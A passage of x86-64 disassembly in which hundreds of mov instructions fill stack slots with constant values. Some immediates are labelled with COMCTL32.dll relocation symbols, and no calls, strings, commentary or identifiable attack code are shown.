mov dword [rsp + 0x7e28], 0x1321305a
mov eax, 0x644
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0x2da], 0x46
mov dword [rsp + 0x7e2c], 0x744ad07f
mov dword [rsp + 0x7e30], 0x19d8f3e5
mov dword [rsp + 0x7e34], 0x6f55fccf
mov dword [rsp + 0x7e38], 0xf5d4
mov dword [rsp + 0x7e3c], 0x5111154e
mov dword [rsp + 0x7e40], 0x4d66efef
mov byte [rsp + 0x2db], 0x5c
mov dword [rsp + 0x7e44], 0x21fe73b7
mov eax, 0x5d1
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x7e48], 0xf8c6945
mov eax, 0xa18
mov word [rsp + 0x1a14], ax
mov byte [rsp + 0x2dc], 0x9f
mov dword [rsp + 0x7e4c], 0x20c4164a
mov dword [rsp + 0x7e50], 0x24c4
mov dword [rsp + 0x7e54], 0x5983758e
mov eax, 0xda
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x7e58], 0x2102e2d5
mov byte [rsp + 0x2dd], 0xd4
mov dword [rsp + 0x7e5c], 0x262e
mov dword [rsp + 0x7e60], 0x6e3fb0ba
mov eax, 0xd24
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x7e64], 0x569e3ead
mov dword [rsp + 0x7e68], 0x99e1
mov dword [rsp + 0x7e6c], 0x2fd6
mov eax, 0x86
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x7e70], 0x6e817de3
mov byte [rsp + 0x2de], 0xc5
mov dword [rsp + 0x7e74], 0xe782
mov dword [rsp + 0x7e78], 0x26eed391
mov byte [rsp + 0x2df], 0xa8
mov dword [rsp + 0x7e7c], 0x77890871
mov eax, 0x471
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x7e80], 0xdade
mov byte [rsp + 0x2e0], 0xfc
mov eax, 0x69a
mov word [rsp + 0x1a28], ax
mov byte [rsp + 0x2e1], 0x34
mov dword [rsp + 0x7e84], 0xa4f4
mov byte [rsp + 0x2e2], 0x1c
mov dword [rsp + 0x7e88], 0x46562085
mov dword [rsp + 0x7e8c], 0x299a70a9
mov byte [rsp + 0x2e3], 0x19
mov dword [rsp + 0x7e90], 0x5254ec6f
mov dword [rsp + 0x7e94], 0x424e4b88
mov dword [rsp + 0x7e98], 0x1b6a7745
mov eax, 0x65f
mov word [rsp + 0x1a2c], ax
mov eax, 0x935
mov word [rsp + 0x1a30], ax
mov dword [rsp + 0x7e9c], 0x5f8c62fa
mov eax, 0x599
mov word [rsp + 0x1a34], ax
mov eax, 0x919
mov word [rsp + 0x1a38], ax
mov byte [rsp + 0x2e4], 0x9e
mov byte [rsp + 0x2e5], 0xc7
mov byte [rsp + 0x2e6], 0xed
mov byte [rsp + 0x2e7], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x7ea0], 0x4291
mov dword [rsp + 0x7ea4], 0x2e09bd73
mov eax, 0x41e
mov word [rsp + 0x1a3c], ax
mov eax, 0x636
mov word [rsp + 0x1a40], ax
mov dword [rsp + 0x7ea8], 0x5adda4ea
mov dword [rsp + 0x7eac], 0x182565ea
mov eax, 0x8e1
mov word [rsp + 0x1a44], ax
mov dword [rsp + 0x7eb0], 0x1d234cee
mov byte [rsp + 0x2e8], 0xa5
mov eax, 0xa5b
mov word [rsp + 0x1a48], ax
mov eax, 0x4ff
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x7eb4], 0x13bb98c6
mov dword [rsp + 0x7eb8], 0xa409
mov dword [rsp + 0x7ebc], 0xed02
mov dword [rsp + 0x7ec0], 0x2638c916
mov dword [rsp + 0x7ec4], 0x43b22308
mov byte [rsp + 0x2e9], 5
mov eax, 0xad2
mov word [rsp + 0x1a50], ax
mov eax, 0x2d0
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x7ec8], 0x331585f6
mov eax, 0x112
mov word [rsp + 0x1a58], ax
mov eax, 0x4a2
mov word [rsp + 0x1a5c], ax
mov dword [rsp + 0x7ecc], 0x718cbbc8
mov dword [rsp + 0x7ed0], 0x49679df1
mov dword [rsp + 0x7ed4], 0x2cbd
mov dword [rsp + 0x7ed8], 0xe5b2
mov byte [rsp + 0x2ea], 0x17
mov eax, 0x3a2
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x7edc], 0xe6a5
mov dword [rsp + 0x7ee0], 0x105f145f
mov dword [rsp + 0x7ee4], 0x25ca930f
mov dword [rsp + 0x7ee8], 0x5f70eaa1
mov dword [rsp + 0x7eec], 0x35b6d5fc
mov eax, 0x4c2
mov word [rsp + 0x1a64], ax
mov eax, 0x261
mov word [rsp + 0x1a68], ax
mov dword [rsp + 0x7ef0], 0x5365
mov dword [rsp + 0x7ef4], 0x7e32f6fb
mov byte [rsp + 0x2eb], 0xbb
mov dword [rsp + 0x7ef8], 0xc6b8
mov eax, 0x6bd
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x7efc], 0x6dbe
mov eax, 0x4f9
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x7f00], 0xb353
mov byte [rsp + 0x2ec], 0x17
mov dword [rsp + 0x7f04], 0x4550
mov byte [rsp + 0x2ed], 0x2e
mov dword [rsp + 0x7f08], 0x5d26
mov dword [rsp + 0x7f0c], 0x46dc83af
mov byte [rsp + 0x2ee], 0x5f
mov dword [rsp + 0x7f10], 0x377f1949
mov dword [rsp + 0x7f14], 0x53f093b8
mov eax, 0xa65
mov word [rsp + 0x1a74], ax
mov eax, 0xdc8
mov word [rsp + 0x1a78], ax
mov byte [rsp + 0x2ef], 0x5c
mov dword [rsp + 0x7f18], 0x6cb4fd1c
mov eax, 0x526
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x7f1c], 0xf321
mov eax, 0x70d
mov word [rsp + 0x1a80], ax
mov eax, 0xa36
mov word [rsp + 0x1a84], ax
mov dword [rsp + 0x7f20], 0x7b8a
mov dword [rsp + 0x7f24], 0x5502
mov dword [rsp + 0x7f28], 0xe422149
mov dword [rsp + 0x7f2c], 0x5b0afa4f
mov dword [rsp + 0x7f30], 0x94e8
mov dword [rsp + 0x7f34], 0x54ce01d
mov byte [rsp + 0x2f0], 0xc9
mov byte [rsp + 0x2f1], 0xb2
mov byte [rsp + 0x2f2], 0x40
mov eax, 0xb59
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x7f38], 0x1416843f
mov eax, 0xf5f
mov word [rsp + 0x1a8c], ax
mov byte [rsp + 0x2f3], 0x61
mov dword [rsp + 0x7f3c], 0xc1ad
mov eax, 0xe74
mov word [rsp + 0x1a90], ax
mov dword [rsp + 0x7f40], 0x7be87eea
mov byte [rsp + 0x2f4], 0x6f
mov eax, 0xa93
mov word [rsp + 0x1a94], ax
mov byte [rsp + 0x2f5], 0x16
mov dword [rsp + 0x7f44], 0x3444
mov dword [rsp + 0x7f48], 0x3421d6e5
mov dword [rsp + 0x7f4c], 0xeddcc7f
mov dword [rsp + 0x7f50], 0x4183
mov dword [rsp + 0x7f54], 0x12c7704e
mov dword [rsp + 0x7f58], 0x2ba5b324
mov dword [rsp + 0x7f5c], 0x338275a2
mov dword [rsp + 0x7f60], 0x7833dc9d
mov dword [rsp + 0x7f64], 0x1e908088
mov dword [rsp + 0x7f68], 0x21b2b339
mov dword [rsp + 0x7f6c], 0x69cf
mov dword [rsp + 0x7f70], 0x24777a22
mov dword [rsp + 0x7f74], 0x6c82
mov dword [rsp + 0x7f78], 0x9ed0
mov byte [rsp + 0x2f6], 0x26
mov dword [rsp + 0x7f7c], 0xa498
mov byte [rsp + 0x2f7], 0xd9
mov dword [rsp + 0x7f80], 0x4cc49c5d
mov dword [rsp + 0x7f84], 0xb30a6b0
mov byte [rsp + 0x2f8], 0x6c
mov dword [rsp + 0x7f88], 0x358a35ba
mov dword [rsp + 0x7f8c], 0x437399e6
mov dword [rsp + 0x7f90], 0x38cb4183
mov eax, 0x5b6
mov word [rsp + 0x1a98], ax
mov eax, 0xc74
mov word [rsp + 0x1a9c], ax
mov byte [rsp + 0x2f9], 0x43
mov dword [rsp + 0x7f94], 0x926
mov dword [rsp + 0x7f98], 0x4f17c26e
mov byte [rsp + 0x2fa], 0x99
mov dword [rsp + 0x7f9c], 0xff45
mov dword [rsp + 0x7fa0], 0x68f385d8
mov byte [rsp + 0x2fb], 0x1a
mov dword [rsp + 0x7fa4], 0x176686ab
mov eax, 0xd9b
mov word [rsp + 0x1aa0], ax
mov byte [rsp + 0x2fc], 0x79
mov dword [rsp + 0x7fa8], 0xd56d
mov dword [rsp + 0x7fac], 0x260dfa9d
mov dword [rsp + 0x7fb0], 0x56dc
mov dword [rsp + 0x7fb4], 0xe09b
mov dword [rsp + 0x7fb8], 0x3a2ce16a
mov byte [rsp + 0x2fd], 0xc2
mov byte [rsp + 0x2fe], 0x3f
mov dword [rsp + 0x7fbc], 0x3102
mov dword [rsp + 0x7fc0], 0xa675
mov dword [rsp + 0x7fc4], 0x2871
mov byte [rsp + 0x2ff], 0x3e
mov eax, 0x11c
mov word [rsp + 0x1aa4], ax
mov dword [rsp + 0x7fc8], 0x4fb
mov dword [rsp + 0x7fcc], 0x9ae6d78
mov dword [rsp + 0x7fd0], 0x621bda88
mov eax, 0x7b2
mov word [rsp + 0x1aa8], ax
mov eax, 0x3a0
mov word [rsp + 0x1aac], ax
mov eax, 0x378
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x7fd4], 0x3a40ffb2
mov dword [rsp + 0x7fd8], 0x446a
mov eax, 0xc2
mov word [rsp + 0x1ab4], ax
mov byte [rsp + 0x300], 0x65
mov dword [rsp + 0x7fdc], 0xb381
mov byte [rsp + 0x301], 0x3d
mov dword [rsp + 0x7fe0], 0x645f8b34
mov dword [rsp + 0x7fe4], 0x45bdece2
mov dword [rsp + 0x7fe8], 0x7b9f1132
mov dword [rsp + 0x7fec], 0x1d9857f9
mov eax, 0xbb7
mov word [rsp + 0x1ab8], ax
mov byte [rsp + 0x302], 0
mov eax, 0x836
mov word [rsp + 0x1abc], ax
mov byte [rsp + 0x303], 8
mov dword [rsp + 0x7ff0], 0x1a88608b
mov dword [rsp + 0x7ff4], 0x249cb37a
mov dword [rsp + 0x7ff8], 0x13b78a36
mov dword [rsp + 0x7ffc], 0x47923ae6
mov eax, 0x63d
mov word [rsp + 0x1ac0], ax
mov dword [rsp + 0x8000], 0xaa94
mov dword [rsp + 0x8004], 0x2e6cef47
mov dword [rsp + 0x8008], 0x45fb
mov dword [rsp + 0x800c], 0x8ac1
mov eax, 0x445
mov word [rsp + 0x1ac4], ax
mov eax, 0xf22
mov word [rsp + 0x1ac8], ax
mov byte [rsp + 0x304], 0x40
mov dword [rsp + 0x8010], 0x7c40431b
mov dword [rsp + 0x8014], 0x2f5cdd01
mov dword [rsp + 0x8018], 0x3bcd1e8a
mov dword [rsp + 0x801c], 0x1a5eceba
mov eax, 0x2da
mov word [rsp + 0x1acc], ax
mov dword [rsp + 0x8020], 0x7cf4
mov dword [rsp + 0x8024], 0x2d95
mov byte [rsp + 0x305], 0x7a
mov eax, 0x24f
mov word [rsp + 0x1ad0], ax
mov dword [rsp + 0x8028], 0x6a1b
mov dword [rsp + 0x802c], 0xf3a5f21
mov dword [rsp + 0x8030], 0xf13b
mov dword [rsp + 0x8034], 0x73d9450c
mov dword [rsp + 0x8038], 0x5daf4698
mov eax, 0xff1
mov word [rsp + 0x1ad4], ax
mov eax, 0x6b5
mov word [rsp + 0x1ad8], ax
mov byte [rsp + 0x306], 0xd3
mov byte [rsp + 0x307], 0xb8
mov dword [rsp + 0x803c], 0x402ff656
mov eax, 0x60f
mov word [rsp + 0x1adc], ax
mov byte [rsp + 0x308], 0x5b
mov dword [rsp + 0x8040], 0x59244091
mov dword [rsp + 0x8044], 0xf964fb8
mov dword [rsp + 0x8048], 0x2442
mov byte [rsp + 0x309], 0x80
mov dword [rsp + 0x804c], 0x3f0b
mov eax, 0x159
mov word [rsp + 0x1ae0], ax
mov byte [rsp + 0x30a], 0x5a
mov byte [rsp + 0x30b], 0x46
mov byte [rsp + 0x30c], 0x44
mov dword [rsp + 0x8050], 0x7aa70469
mov dword [rsp + 0x8054], 0x6eadace8
mov dword [rsp + 0x8058], 0x59499fbb
mov dword [rsp + 0x805c], 0x7cfbc1d8
mov dword [rsp + 0x8060], 0x2d0b9e84
mov byte [rsp + 0x30d], 9
mov dword [rsp + 0x8064], 0x54b2c068
mov byte [rsp + 0x30e], 0x9d
mov dword [rsp + 0x8068], 0x7d326f17
mov dword [rsp + 0x806c], 0x666e007b
mov byte [rsp + 0x30f], 0x26
mov dword [rsp + 0x8070], 0x41246ef0
mov eax, 0x136
mov word [rsp + 0x1ae4], ax
mov dword [rsp + 0x8074], 0x6671
mov eax, 0xbb3
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x8078], 0x9cea
mov byte [rsp + 0x310], DrawInsert
mov eax, 0x12a
mov word [rsp + 0x1aec], ax
mov dword [rsp + 0x807c], 0x8cc86df
mov byte [rsp + 0x311], 0x59
mov byte [rsp + 0x312], 0xfd
mov eax, 0x778
mov word [rsp + 0x1af0], ax
mov dword [rsp + 0x8080], 0x2312
mov eax, 0x369
mov word [rsp + 0x1af4], ax
mov byte [rsp + 0x313], DrawInsert
mov dword [rsp + 0x8084], 0x3cdc327c
mov dword [rsp + 0x8088], 0x53e69609
mov dword [rsp + 0x808c], 0x3d497ca7
mov eax, 0x511
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x8090], 0x2cc3085
mov eax, 0x103
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x8094], 0x1bcb385e
mov dword [rsp + 0x8098], 0x41ef67a9
mov dword [rsp + 0x809c], 0x425a86ef
mov eax, 0x6da
mov word [rsp + 0x1b00], ax
mov dword [rsp + 0x80a0], 0x11e4e314
mov dword [rsp + 0x80a4], 0x1ab81a48
mov eax, 0x865
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x80a8], 0x2619db21
mov dword [rsp + 0x80ac], 0x10a54719
mov byte [rsp + 0x314], 0xc8
mov byte [rsp + 0x315], 0x5e
mov dword [rsp + 0x80b0], 0x1a33
mov dword [rsp + 0x80b4], 0xb47876f
mov eax, 0x9b
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x316], 0x79
mov byte [rsp + 0x317], 0x36
mov dword [rsp + 0x80b8], 0x2634f12a
mov dword [rsp + 0x80bc], 0x20797290
mov eax, 0x3b7
mov word [rsp + 0x1b0c], ax
mov eax, 0x4ad
mov word [rsp + 0x1b10], ax
mov byte [rsp + 0x318], 0x57
mov eax, 0x4cb
mov word [rsp + 0x1b14], ax
mov dword [rsp + 0x80c0], 0x9906
mov dword [rsp + 0x80c4], 0x329e
mov byte [rsp + 0x319], 0x5b
mov dword [rsp + 0x80c8], 0x3f7dc631
mov dword [rsp + 0x80cc], 0x4b5bf0ca
mov dword [rsp + 0x80d0], 0x2a35e095
mov eax, 0x601
mov word [rsp + 0x1b18], ax
mov byte [rsp + 0x31a], 0x6a
mov dword [rsp + 0x80d4], 0x3cd9
mov eax, 0xe09
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x80d8], 0x1c439991
mov eax, 0x27e
mov word [rsp + 0x1b20], ax
mov dword [rsp + 0x80dc], 0xb87c4fd
mov dword [rsp + 0x80e0], 0x68d612a5
mov eax, 0x608
mov word [rsp + 0x1b24], ax
mov dword [rsp + 0x80e4], 0x364e805f
mov byte [rsp + 0x31b], 0x78
mov dword [rsp + 0x80e8], 0x274b7065
mov dword [rsp + 0x80ec], 0x2622dde1
mov dword [rsp + 0x80f0], 0x3e402218
mov byte [rsp + 0x31c], 0x4b
mov eax, 0x9d
mov word [rsp + 0x1b28], ax
mov byte [rsp + 0x31d], 7
mov dword [rsp + 0x80f4], 0xd296
mov dword [rsp + 0x80f8], 0x21a2b10
mov dword [rsp + 0x80fc], 0x8a8c
mov dword [rsp + 0x8100], 0xda54f1f
mov eax, 0x28c
mov word [rsp + 0x1b2c], ax
mov dword [rsp + 0x8104], 0x4931a825
mov dword [rsp + 0x8108], 0xbbd0
mov dword [rsp + 0x810c], 0xe050
mov dword [rsp + 0x8110], 0x4739
mov byte [rsp + 0x31e], 0x7c
mov dword [rsp + 0x8114], 0xf205
mov dword [rsp + 0x8118], 0x5a9d676d
mov eax, 0x5c0
mov word [rsp + 0x1b30], ax
mov eax, 0x44a
mov word [rsp + 0x1b34], ax
mov dword [rsp + 0x811c], 0x4143a969
mov byte [rsp + 0x31f], 0xab
mov dword [rsp + 0x8120], 0x760775ef
mov dword [rsp + 0x8124], 0x2eac4e4c
mov dword [rsp + 0x8128], 0x2d692f9f
mov eax, 0xc57
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x812c], 0x617d
mov dword [rsp + 0x8130], 0x43c4
mov byte [rsp + 0x320], 0xd3
mov byte [rsp + 0x321], 0x14
mov dword [rsp + 0x8134], 0x22d61093
mov dword [rsp + 0x8138], 0x16c2d6ea
mov dword [rsp + 0x813c], 0x6cbe
mov byte [rsp + 0x322], 0x11
mov dword [rsp + 0x8140], 0x1f4a0859
mov eax, 0x35d
mov word [rsp + 0x1b3c], ax
mov dword [rsp + 0x8144], 0x483d25a9
mov byte [rsp + 0x323], 0x2a
mov dword [rsp + 0x8148], 0x1c49
mov eax, 0x207
mov word [rsp + 0x1b40], ax
mov byte [rsp + 0x324], 0x27
mov dword [rsp + 0x814c], 0x4ce9
mov eax, 0xf92
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x8150], 0x3051
mov dword [rsp + 0x8154], 0x445e
mov byte [rsp + 0x325], reloc.COMCTL32.dll_LBItemFromPt
mov byte [rsp + 0x326], 0xb1
mov dword [rsp + 0x8158], 0xc86e
mov byte [rsp + 0x327], 0xca
mov dword [rsp + 0x815c], 0x1267c20d
mov dword [rsp + 0x8160], 0xa9c8
mov byte [rsp + 0x328], 0x60
mov dword [rsp + 0x8164], 0x3395b0f9
mov eax, 0x435
mov word [rsp + 0x1b48], ax
mov byte [rsp + 0x329], 0x18
mov eax, 0x464
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x8168], 0x17cf282d
mov dword [rsp + 0x816c], 0x2410df04
mov dword [rsp + 0x8170], 0x6fc71411
mov eax, 0x31b
mov word [rsp + 0x1b50], ax
mov eax, 0x2fd
mov word [rsp + 0x1b54], ax
mov dword [rsp + 0x8174], 0x7b4f8c27
mov byte [rsp + 0x32a], 0x25
mov dword [rsp + 0x8178], 0x9381a70
mov dword [rsp + 0x817c], 0x4c950d5c
mov dword [rsp + 0x8180], 0x3bd7
mov dword [rsp + 0x8184], 0xa614
mov eax, 0x238
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x8188], 0x7d51b952
mov dword [rsp + 0x818c], 0xa8e3
mov dword [rsp + 0x8190], 0x32d0
mov dword [rsp + 0x8194], 0x95dbce7
mov dword [rsp + 0x8198], 0x6d9d
mov dword [rsp + 0x819c], 0x588bbff9
mov dword [rsp + 0x81a0], 0x1b7deaf3
mov dword [rsp + 0x81a4], 0x14e3a1aa
mov dword [rsp + 0x81a8], 0x4973dcf0
mov dword [rsp + 0x81ac], 0x1706f23
mov byte [rsp + 0x32b], 3
mov eax, 0xce2
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x81b0], 0x7524a71b
mov eax, 0x71
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x81b4], 0x4d422427
mov eax, 0x7e
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x32c], 0x76
mov dword [rsp + 0x81b8], 0x560ab2f5
mov byte [rsp + 0x32d], 0xd2
mov dword [rsp + 0x81bc], 0x5501b349
mov dword [rsp + 0x81c0], 0x454a6d61
mov eax, 0x2d
mov word [rsp + 0x1b68], ax
mov byte [rsp + 0x32e], 0xb8
mov byte [rsp + 0x32f], 0xa
mov dword [rsp + 0x81c4], 0x4c94cc9c
mov byte [rsp + 0x330], 0x7e
mov byte [rsp + 0x331], 5
mov byte [rsp + 0x332], 0x94
mov dword [rsp + 0x81c8], 0x92fd
mov dword [rsp + 0x81cc], 0x4a96
mov dword [rsp + 0x81d0], 0x22361119
mov dword [rsp + 0x81d4], 0x4413fdb3
mov dword [rsp + 0x81d8], 0x5588
mov eax, 0x7f1
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x81dc], 0x659cb327
mov dword [rsp + 0x81e0], 0x6d13bf27
mov dword [rsp + 0x81e4], 0x6130
mov dword [rsp + 0x81e8], 0x45c5
mov dword [rsp + 0x81ec], 0xf986446
mov dword [rsp + 0x81f0], 0x97be65f
mov eax, 0x77a
mov word [rsp + 0x1b70], ax
mov dword [rsp + 0x81f4], 0x913a
mov dword [rsp + 0x81f8], 0x13520f4e
mov dword [rsp + 0x81fc], 0x29bb5472
mov byte [rsp + 0x333], 0x3d
mov dword [rsp + 0x8200], 0x655ea06f
mov dword [rsp + 0x8204], 0x5254188b
mov byte [rsp + 0x334], 0xdb
mov byte [rsp + 0x335], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x8208], 0xa38e
mov dword [rsp + 0x820c], 0x76d225f0
mov dword [rsp + 0x8210], 0x2c38f958
mov dword [rsp + 0x8214], 0x606d
mov eax, 0xe7b
mov word [rsp + 0x1b74], ax
mov dword [rsp + 0x8218], 0x49fd0b09
mov dword [rsp + 0x821c], 0x7ab0adf7
mov dword [rsp + 0x8220], 0xbb71
mov dword [rsp + 0x8224], 0x76a3c852
mov dword [rsp + 0x8228], 0x6ce4f2ae
mov dword [rsp + 0x822c], 0xb2cb
mov dword [rsp + 0x8230], 0xa45fc15
mov dword [rsp + 0x8234], 0x44dc
mov eax, 0x66a
mov word [rsp + 0x1b78], ax
mov dword [rsp + 0x8238], 0x4d4e40cb
mov dword [rsp + 0x823c], 0x429b
mov byte [rsp + 0x336], 0x1b
mov eax, 0xbce
mov word [rsp + 0x1b7c], ax
mov byte [rsp + 0x337], 0xe0
mov dword [rsp + 0x8240], 0x4e4026bf
mov dword [rsp + 0x8244], 0x29d
mov dword [rsp + 0x8248], 0x60321da
mov dword [rsp + 0x824c], 0x5166ca1
mov dword [rsp + 0x8250], 0x1c15bfb0
mov dword [rsp + 0x8254], 0x3afb7464
mov dword [rsp + 0x8258], 0xdc7d
mov dword [rsp + 0x825c], 0x63dd
mov eax, 0xbae
mov word [rsp + 0x1b80], ax
mov dword [rsp + 0x8260], 0x177cc2f3
mov byte [rsp + 0x338], 9
mov byte [rsp + 0x339], 0xad
mov dword [rsp + 0x8264], 0x24e6bc52
mov eax, 0xda
mov word [rsp + 0x1b84], ax
mov dword [rsp + 0x8268], 0xc2ea
mov eax, 0xa2
mov word [rsp + 0x1b88], ax
mov byte [rsp + 0x33a], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x5bb
mov word [rsp + 0x1b8c], ax
mov dword [rsp + 0x826c], 0xd4814b3
mov eax, 0x6ae
mov word [rsp + 0x1b90], ax
mov byte [rsp + 0x33b], 0xee
mov eax, 0xe1
mov word [rsp + 0x1b94], ax
mov dword [rsp + 0x8270], 0x7a5e4078
mov byte [rsp + 0x33c], 0x51
mov dword [rsp + 0x8274], 0x18d8
mov dword [rsp + 0x8278], 0x20a95e25
mov dword [rsp + 0x827c], 0x1a90db41
mov dword [rsp + 0x8280], 0x72cd79c3
mov eax, 0x42c
mov word [rsp + 0x1b98], ax
mov dword [rsp + 0x8284], 0x512efc8b
mov dword [rsp + 0x8288], 0x57e6
mov byte [rsp + 0x33d], 0x39
mov dword [rsp + 0x828c], 0x340c9504
mov dword [rsp + 0x8290], 0x4513
mov byte [rsp + 0x33e], 0x30
mov dword [rsp + 0x8294], 0x5446
mov dword [rsp + 0x8298], 0x5eeaf255
mov dword [rsp + 0x829c], 0x5c43a793
mov dword [rsp + 0x82a0], 0x3673534b
mov eax, 0x436
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x82a4], 0x6343
mov byte [rsp + 0x33f], 0x31
mov dword [rsp + 0x82a8], 0xe299
mov dword [rsp + 0x82ac], 0x8dcc
mov dword [rsp + 0x82b0], 0x3bb
mov dword [rsp + 0x82b4], 0x8801
mov byte [rsp + 0x340], 0x95
mov dword [rsp + 0x82b8], 0xdbb6
mov dword [rsp + 0x82bc], 0x55c0fb6d
mov dword [rsp + 0x82c0], 0x19e7a7d1
mov byte [rsp + 0x341], 0xb7
mov dword [rsp + 0x82c4], 0x60b224b8
mov dword [rsp + 0x82c8], 0x7ba6
mov eax, 0x6f5
mov word [rsp + 0x1ba0], ax
mov eax, 0x549
mov word [rsp + 0x1ba4], ax
mov eax, 0x901
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x82cc], 0x2fcd0d74
mov dword [rsp + 0x82d0], 0xb268
mov dword [rsp + 0x82d4], 0x69f747c2
mov dword [rsp + 0x82d8], 0xbb3a
mov eax, 0x377
mov word [rsp + 0x1bac], ax
mov dword [rsp + 0x82dc], 0x2a46b5a3
mov byte [rsp + 0x342], 0x63
mov dword [rsp + 0x82e0], 0x422b7707
mov dword [rsp + 0x82e4], 0xe7da
mov dword [rsp + 0x82e8], 0xa247e21
mov dword [rsp + 0x82ec], 0x72300c34
mov dword [rsp + 0x82f0], 0x1200
mov dword [rsp + 0x82f4], 0x7f2e5367
mov eax, 0x938
mov word [rsp + 0x1bb0], ax
mov byte [rsp + 0x343], 0x1b
mov byte [rsp + 0x344], 0x3d
mov byte [rsp + 0x345], 0x94
mov byte [rsp + 0x346], 0x86
mov dword [rsp + 0x82f8], 0x7beb87a1
mov dword [rsp + 0x82fc], 0x26702a45
mov byte [rsp + 0x347], 0x3f
mov byte [rsp + 0x348], 0x72
mov dword [rsp + 0x8300], 0x2a63
mov dword [rsp + 0x8304], 0x78037d93
mov eax, 0x854
mov word [rsp + 0x1bb4], ax
mov dword [rsp + 0x8308], 0xd3e1
mov dword [rsp + 0x830c], 0x59cc86b6
mov dword [rsp + 0x8310], 0x5165
mov dword [rsp + 0x8314], 0x723f
mov dword [rsp + 0x8318], 0x138924b2
mov dword [rsp + 0x831c], 0xa775
mov dword [rsp + 0x8320], 0xf980
mov dword [rsp + 0x8324], 0xb028
mov eax, 0x558
mov word [rsp + 0x1bb8], ax
mov dword [rsp + 0x8328], 0x1f876ab9
mov dword [rsp + 0x832c], 0x3a48934
mov byte [rsp + 0x349], 0x2f
mov dword [rsp + 0x8330], 0x36c8bf39
mov byte [rsp + 0x34a], 0xa4
mov dword [rsp + 0x8334], 0x339
mov dword [rsp + 0x8338], 0x53c1d5cb
mov dword [rsp + 0x833c], 0x4a84
mov eax, 0xf7e
mov word [rsp + 0x1bbc], ax
mov dword [rsp + 0x8340], 0xde21
mov dword [rsp + 0x8344], 0x6923a897
mov dword [rsp + 0x8348], 0x21e6f758
mov byte [rsp + 0x34b], 0x75
mov eax, 0x8c7
mov word [rsp + 0x1bc0], ax
mov dword [rsp + 0x834c], 0x24bb
mov dword [rsp + 0x8350], 0x3ff86c47
mov dword [rsp + 0x8354], 0x2eca5b1d
mov eax, 0x529
mov word [rsp + 0x1bc4], ax
mov eax, 0xe23
mov word [rsp + 0x1bc8], ax
mov eax, 0x7fa
mov word [rsp + 0x1bcc], ax
mov dword [rsp + 0x8358], 0xec42b72
mov dword [rsp + 0x835c], 0x30e
mov dword [rsp + 0x8360], 0xba54
mov dword [rsp + 0x8364], 0x61e810c0
mov eax, 0x6b5
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x8368], 0x4fa7ae7f
mov byte [rsp + 0x34c], 0x36
mov byte [rsp + 0x34d], 0x24
mov dword [rsp + 0x836c], 0x4978a7f1
mov eax, 0x535
mov word [rsp + 0x1bd4], ax
mov dword [rsp + 0x8370], 0x7d684e80
mov dword [rsp + 0x8374], 0x5aee1f3e
mov byte [rsp + 0x34e], 0x4b
mov dword [rsp + 0x8378], 0x1914664c
mov eax, 0x63c
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x837c], 0x39b9575
mov dword [rsp + 0x8380], 0x6eba8a70
mov byte [rsp + 0x34f], 0x44
mov dword [rsp + 0x8384], 0x4cf8
mov eax, 0x970
mov word [rsp + 0x1bdc], ax
mov dword [rsp + 0x8388], 0x91f4
mov dword [rsp + 0x838c], 0x417f
mov byte [rsp + 0x350], 0x50
mov byte [rsp + 0x351], 4
mov dword [rsp + 0x8390], 0xaf18
mov dword [rsp + 0x8394], 0x6ea3
mov byte [rsp + 0x352], 0x39
mov eax, 0xe06
mov word [rsp + 0x1be0], ax
mov byte [rsp + 0x353], 0x27
mov dword [rsp + 0x8398], 0x75808850
mov dword [rsp + 0x839c], 0x10746fcf
mov dword [rsp + 0x83a0], 0x4629
mov dword [rsp + 0x83a4], 0x46902ddf
mov dword [rsp + 0x83a8], 0x545e8550
mov dword [rsp + 0x83ac], 0x11398286
mov dword [rsp + 0x83b0], 0xb54d
mov eax, 0x1a6
mov word [rsp + 0x1be4], ax
mov dword [rsp + 0x83b4], 0x5b3615d7
mov dword [rsp + 0x83b8], 0x8b7e
mov dword [rsp + 0x83bc], 0x59aafe4b
mov dword [rsp + 0x83c0], 0x5b49
mov dword [rsp + 0x83c4], 0x2cde
mov byte [rsp + 0x354], 0xa2
mov byte [rsp + 0x355], 0x36
mov eax, 0xa3
mov word [rsp + 0x1be8], ax
mov dword [rsp + 0x83c8], 0x614764d5
mov dword [rsp + 0x83cc], 0xbbbb
mov dword [rsp + 0x83d0], 0x8e50
mov byte [rsp + 0x356], 0x29
mov byte [rsp + 0x357], 7
mov byte [rsp + 0x358], 0xda
mov dword [rsp + 0x83d4], 0x41d1e9ce
mov dword [rsp + 0x83d8], 0x6173c3de
mov dword [rsp + 0x83dc], 0x6f4d61be
mov dword [rsp + 0x83e0], 0x2f16
